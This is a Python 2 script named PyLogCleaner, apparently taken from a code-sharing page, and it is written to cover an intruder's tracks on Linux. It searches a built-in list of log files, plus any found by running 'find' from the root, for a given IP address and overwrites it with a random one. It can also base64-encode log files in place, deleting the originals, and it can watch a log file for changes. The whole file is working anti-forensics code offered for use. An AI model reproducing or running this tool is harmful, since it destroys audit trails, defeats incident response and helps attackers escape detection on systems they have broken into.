./misc/pylogcleaner.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
#!/usr/bin/python
#PyLogcleaner uses the list given (logfiles) containing
# 274 logfiles and uses the linux find 
#cmd to try and locate more logfiles to search
#for an ip address to replace with a random generated
#one. It can also encrypt/d3crypt a 
#logfile and also can watch a logfile for modifications.
#Email me with feedback, hints, criticism
#
#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com
 
import os, sys, time, pwd, getopt, re, random, StringIO, commands
 
def title():
	print "\n   d3hydr8[at]gmail[dot]com PyLogCleaner v1.0"
	print "-----------------------------------------------"
 
def usage():
	title()
	print "\n  Usage: python logcleaner.py <option>\n"
	print "\t[options]"
	print "\t   -i <ip>: Ip to search for and replace"
	print "\t   -e <file>: Encrypts logfile"
	print "\t   -d <file>: Decrypts logfile"
	print "\t   -w/-watch <file> <time to check> : Watches logfile for modification"
	print "\t   -h/-help: Prints this menu\n"
 
def timer():
	now = time.localtime(time.time())
	return time.asctime(now)
 
def validater(logs):
 
	activeLogs = []
 
	print "[+] Validating:",len(logs),"logfiles\n"
	for l in logs:
		if os.path.isfile(l) == True:
			activeLogs.append(l)
	if len(activeLogs)>0:
		print "[+] Active Logs Found:",len(activeLogs)
		return activeLogs
	else:
		print "[-] No Active Logs Found"
		sys.exit(1)
 
def search(logfiles):
 
	print "\n[+] Searching:",ip,"\n"
	import mmap
 
	for file in logfiles:
		try:
			f = open(file, "rb+")
			size = os.path.getsize(file)
			if size >= 1:
				data = mmap.mmap(f.fileno(), size)
				loc = data.find(ip)
				#Lets not search a file with no data.
				if loc == -1:
					#print "[+] File:",file,"|",size,"bytes"
					#print "\t[-] IP not found"
					data.close()
				else:
					print "-"*45
					print "[+] File:",file,"|",size,"bytes"
					print "\t[+] IP found"
					data.seek(loc)
					data.write(randip)
					print "[+] Replaced: ",ip,">>",randip
					print "[+] New_Size:",os.path.getsize(file),"bytes"
					print "-"*45
					data.close()
		except(IOError), msg:
			pass
	print "\n[+] Done:",timer(),"\n"
 
def findlogs():
	os.chdir("/")
 
	print "[+] Finding More Logfiles..."
	#Lets use the linux find cmd to fing more files containing log...
	logz = StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()
	if len(logz)>0:
		print "[+] Found:",len(logz),"extra logfiles"
		for log in logz:
			if re.search("Permission denied",log) == None:
				logs.append(log[:-1]) 
	return logs
 
def randip():
 
	A = random.randrange(255) + 1
	B = random.randrange(255) + 1
	C = random.randrange(255) + 1
	D = random.randrange(255) + 1
	randip = "%d.%d.%d.%d" % (A,B,C,D)
	return randip
 
def gettime():
	clock = time.asctime(time.localtime(os.path.getmtime(logfile)))
	return clock
 
def getsize():
	size = os.path.getsize(logfile)
	return size
 
def modlast(logfile):
	try: 
		sys.argv[3]
	except(IndexError):
		print "\n[-] Need a time in seconds (ex: 60)\n"
		sys.exit(1)
 
	print "[+] Analyzing:",logfile
	print "[+] Time:",sys.argv[3],"secs"
	print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
	print "[+] Size:",getsize(),"bytes"
	print "[+] Last Modified:",gettime()
	print "[+] Starting:",timer()
 
	old_time = gettime()
	while True:
		time.sleep(int(sys.argv[3]))
		new_time = gettime()
		if new_time != old_time:
			print "\n[+] File Modified:",new_time
			print "[+] New Size:",getsize(),"bytes\n"
			old_time = new_time
 
def encrypter(file):
	import base64
	print "\n[+] Encrypting:",file
	print "[+] Size:",os.path.getsize(file),"bytes"
	try:
  		log2encode = open(file, "r").read()
	except(IOError): 
  		print "Error: Check your full path.\n"
  		sys.exit(1)
	log2encode = base64.b64encode(log2encode)
	os.remove(file)
	time.sleep(2)
	f = open(file, "a")
	f.write(log2encode)
	f.close()
	print "[+] NewSize:",os.path.getsize(file),"bytes"
	print "[+] Done\n"
 
def d3crypter(file):
	import base64
	print "\n[+] Decrypting:",file
	print "[+] Size:",os.path.getsize(file),"bytes"
	try:
  		b2log = open(file, "r").read()
	except(IOError): 
  		print "Error: Check your full path.\n"
  		sys.exit(1)
	b2log = base64.b64decode(b2log)
	os.remove(file)
	time.sleep(2)
	f = open(file, "a")
	f.write(b2log)
	f.close()
	print "[+] NewSize:",os.path.getsize(file),"bytes"
	print "[+] Done\n"
 
if len(sys.argv) <= 1:
	usage()
	sys.exit(1)
if len(sys.argv) == 2:
	usage()
	sys.exit(1)
 
if sys.argv[1] == "-w" or sys.argv[1] == "-watch":
	logfile = sys.argv[2]
	if os.path.isfile(logfile) == False:
		title()
		print "\n[-] Cannot Open File, Check Full Path!!!\n"
		sys.exit(1)
	else:
		title()
		modlast(logfile)
if sys.argv[1] == "-i":
	ip = sys.argv[2]		
	try:
  		logs = open("logfiles", "r").readlines()
	except(IOError): 
  		print "Error: logfiles missing\n"
  		sys.exit(1)
	title()
	print "\n[+] Starting:",timer()
	print "[+] Loaded:",len(logs),"logs"
	findlogs()
	randip = randip()
	print "[+] Generate Random IP:",randip
	search(validater(logs))
if sys.argv[1] == "-e":
	file = sys.argv[2]
	title()
	encrypter(file)
if sys.argv[1] == "-d":
	file = sys.argv[2]
	title()
	d3crypter(file)
 
 
 
 
 

Back